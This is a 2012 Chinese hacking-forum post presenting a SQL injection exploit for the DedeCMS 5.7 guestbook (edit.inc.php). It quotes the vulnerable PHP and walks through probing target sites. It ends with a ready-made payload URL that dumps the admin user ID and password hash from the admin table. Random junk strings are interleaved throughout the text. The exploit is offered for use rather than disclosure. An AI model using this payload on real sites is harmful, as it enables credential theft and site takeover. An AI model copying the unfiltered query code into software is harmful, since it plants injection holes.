中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
% |7 I6 D) U* V9 u% j
9 d/ K$ W( o m. C3 e; S0 b
漏洞文件edit.inc.php具体代码:
( v4 ~/ Q- t0 j+ }
9 `& |4 b; o! x
< ?php
& v0 h* F" Y+ Y* ?; @% T
2 K9 @% P/ ` a
if(!defined('DEDEINC')) exit('Request Error!');
; }' O2 O" G6 K; e! s2 c' K
/ ?/ |2 g- p9 K$ C; f5 l3 I
1 d2 ^- i9 k3 D5 _
) M: @+ Y- d1 v1 j1 o
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
/ y. z3 A' p7 `' l5 p
" z# U4 f5 `2 K6 b! w' Y, [0 T
else $GUEST_BOOK_POS = "guestbook.php";
: |3 c9 b u3 d
. F( D% G) w0 ~/ E( \5 D: X
; I ?/ I% X/ ?0 s/ y: l2 {
" U9 J, C# k X V0 d; w
$id = intval($id);
" A4 f6 o( s/ ]9 Y1 \4 z
3 ~& n3 ?3 Z: c2 a4 t
if(empty($job)) $job='view';
- M0 h+ e0 G) a! l& j; J
) b& F3 q5 M3 _% N% a
. e1 i) h3 I# s8 a+ L/ u2 U1 B
! I, Y% ^2 _- J7 ^& q
if($job=='del' && $g_isadmin)
- y& q6 B, p# u& x
- ^; ?, @5 ^5 T& G9 ?2 T/ x
{
: |" s: v5 g4 b# b
- K: Z8 i' t' u$ D
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
- t/ E& n; z) l) r3 W' q
! t. d/ C4 y. w7 o0 G2 L% O
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
. ?" F" }0 ]) r+ r$ `& L" Q+ l7 G
& f3 N- U& ]3 }
exit();
{; k5 Z+ v3 \* m4 z
p. n& C- a1 Y3 d: e
}
, B9 T% P2 F7 Z
O; d. C8 q) i& b
else if($job=='check' && $g_isadmin)
6 {4 z! y. L2 o( ]9 S( E
0 ~- `' Z; C3 s+ H6 D
{
4 S. G% t+ y, H
& Q7 K7 H2 @0 @8 o# q8 x1 n3 m
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
k& y9 k1 \3 w% v) i
8 t+ X8 }; D0 y5 G# c
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
2 `7 L2 p4 l' j8 G6 w. R$ c' V
9 {% V3 d7 b- u. a; x/ v9 |, b
exit();
; n$ O$ y6 m# z! ?- x- p7 g& z
( g1 O d P/ g7 @* v' L' s
}
4 u: `( `4 \* i
* V' T8 j7 U. k1 s1 \: h
else if($job=='editok')
- b8 }) v! d- w# _; }
7 T3 X T c6 Y! \) s6 i& {
{
& g4 c. J7 ?: P( J8 \( {9 m" N
! L9 ^2 m5 H* \# F* v
$remsg = trim($remsg);
9 I& d2 A* v4 S4 E0 C
) |9 F, Y( V- n- t" L4 O: W
if($remsg!='')
+ A5 g/ Q" f. q) Q
5 n! w2 u$ s- S0 J; m
{
1 k; O+ Z2 ~! P0 e5 n) e
/ s# T8 b" b0 |7 Q) Y q4 K
//管理员回复不过滤HTML By:Errorera blog:errs.cc
' I' \. s" x% z* F
9 m9 o! v% G4 ~9 r3 T
if($g_isadmin)
8 {7 A1 `$ V$ @$ w( @$ `
$ o! | m- u, {' @) U
{
$ B# q0 q) ]' q1 Z" J* V$ ]; w9 e
; C* J7 o! c C! m) S, [
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
% }4 A& R. v! U- U/ I1 k& w( J6 H
0 m, M+ g" W$ G B" D
//$remsg <br /><font color=red>管理员回复:</font> }
& _3 l$ E# M) y X: x* X6 ~
# \7 J ?9 z T1 S5 O, E, z3 {
else
" d2 s+ a8 i# W# |! ]( S
' ]5 q- P# ?+ N8 s/ q# [
{
5 l, J* H8 g) ^6 [; v
: l X9 v8 V# W% f* F" c [/ E
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
" }, e2 l# M- i3 S! e' e
% `9 ~( \0 ^! Q: [0 E4 C' y
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
6 N" E" k E$ j, z; t
b7 A, `" P7 A$ {1 @! z
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
8 {9 {, o% E& M$ B+ A* ]
1 ] c+ o- r0 `' d4 n P/ i0 m1 p
$msg = $oldmsg.$remsg;
; r2 T4 \/ q; q h2 H
h% v7 W. ]; x& l, y
}
) e0 h6 ?( H. {* P8 z9 ], m- D
5 M) W$ X+ z; _
}
3 e0 [6 \8 d2 V# _
% J1 v& f( E3 I4 }# z; N# v+ W
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
" l2 g- K9 _, P0 u4 m9 j1 D' ~6 ~
3 X4 h5 p0 y! _" Q" f* I" B: |
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
% r y, G- s& R- m3 h1 B* a. ^1 z
" f( K! d( h, n: @0 c+ t; d0 h
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
# u& i6 _4 L7 V2 F7 P
5 s. V& d/ t4 B
exit();
0 x% n# T# M# F0 }
/ L" I& j6 E# R% v( B6 v
}
' T5 d" m2 x2 v, h
4 D, `% o' A0 G8 z8 ?# P
//home:
www.errs.cc
3 T+ ^" z( A' y1 x0 u
8 T$ ]. m; v+ C2 x; B+ t! U
if($g_isadmin)
' c. q8 l- I5 p' D8 j
# f1 R0 z. x) L1 N+ B i/ ]
{
7 N) F, a% m/ q" K
4 V; ^4 v- `5 n# ~; N0 q2 Y1 I+ t
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
- ^/ \. R8 n% l; y% ~0 P* E* s
6 Y! E j+ p" y' \" E; ~) i# R5 n
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
& B1 J. z% v5 `3 T+ i
6 Z9 K1 ]5 c$ X c+ B
}
# H0 d& ^+ [! o* `1 r. P( e% w7 ^
9 v3 G$ F9 F' M$ G4 [7 T
else
7 s C) q5 X9 \ \2 B8 j
) u" i) O5 D6 U: l: X
{
0 U+ M; Z! ^. ~7 ]+ n
6 F" f; A# v% w+ p3 E
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
6 R# D3 e5 P6 n' s) z
# h2 s1 C8 O0 b, H
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
* ?! p1 Q0 a/ }" ^! J! u3 d% x
& @$ H* m4 P4 }$ ~
} 漏洞成功需要条件:
4 S+ [3 } p! m/ k: a
1. php magic_quotes_gpc=off
' d6 w2 [3 w7 G; X) f! }( v
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 V: d$ H; _# E- }
) j# u6 x% ]' N+ Y: h q# l8 Q
怎么判断是否存在漏洞:
! z) {5 d2 f' z v+ m6 d3 U; G
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
g5 p8 D* I# m$ t; {" Z
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
" y) V7 T# i4 g4 F
访问:
* G! n8 w! G" Y9 R# g9 m, C8 r
9 d+ N( ~5 O7 G# Q9 m6 r
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
5 B5 L8 q2 `/ j6 c t7 S
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
* R( d1 n% w& ~3 v6 G) x$ m
; M0 J: b% w( G% z
' n7 }/ s: r# y. ]: l7 s
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
+ c+ e0 T" `$ E0 q4 O
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
7 x9 S& K" b1 u: v0 B( A
那么再次访问
( c# O2 @9 N" }8 N G6 g( n
7 c U4 W9 d/ n
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
4 ]0 _3 K s) S/ a5 E1 x+ w) K
4 n, Q; D X, |. g) t" T: E
大概利用就是这样,大家有兴趣的多研究下!!
1 g. a }1 J i6 X1 `! A
* G6 C. J2 n! G
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
2 A& Y" f5 ]3 e% Q/ l, r/ t
3 V; v' j! @( F( w7 x
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2